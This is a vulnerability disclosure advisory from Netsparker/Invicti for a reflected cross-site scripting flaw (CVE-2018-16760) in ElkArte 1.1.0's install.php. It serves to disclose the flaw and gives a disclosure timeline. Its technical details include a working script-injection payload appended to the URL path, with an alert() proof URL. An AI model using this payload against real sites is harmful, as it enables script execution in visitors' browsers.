Cross-site Scripting Vulnerability in ElkArte 1.1.0


Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in ElkArte
Affected Software: ElkArte
Affected Versions: 1.1.0
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVE-ID: CVE-2018-16760
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-060

Technical Details

URL: http://app.scan/ScanApp/Elkarte-Install/Elkarte-1.1.0/install/install.php/'"--></style></scRipt><scRipt>netsparker(0x0000D0)</scRipt>
Proof URL: http://app.scan/ScanApp/Elkarte-Install/Elkarte-1.1.0/install/install.php/'"--></style></scRipt><scRipt>alert(0x0000D0)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>netsparker(0x0000D0)</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

6th December 2018 – First Contact
7th December 2018 – Details Sent
13th February 2019 – Last Attempt to Contact
4th March 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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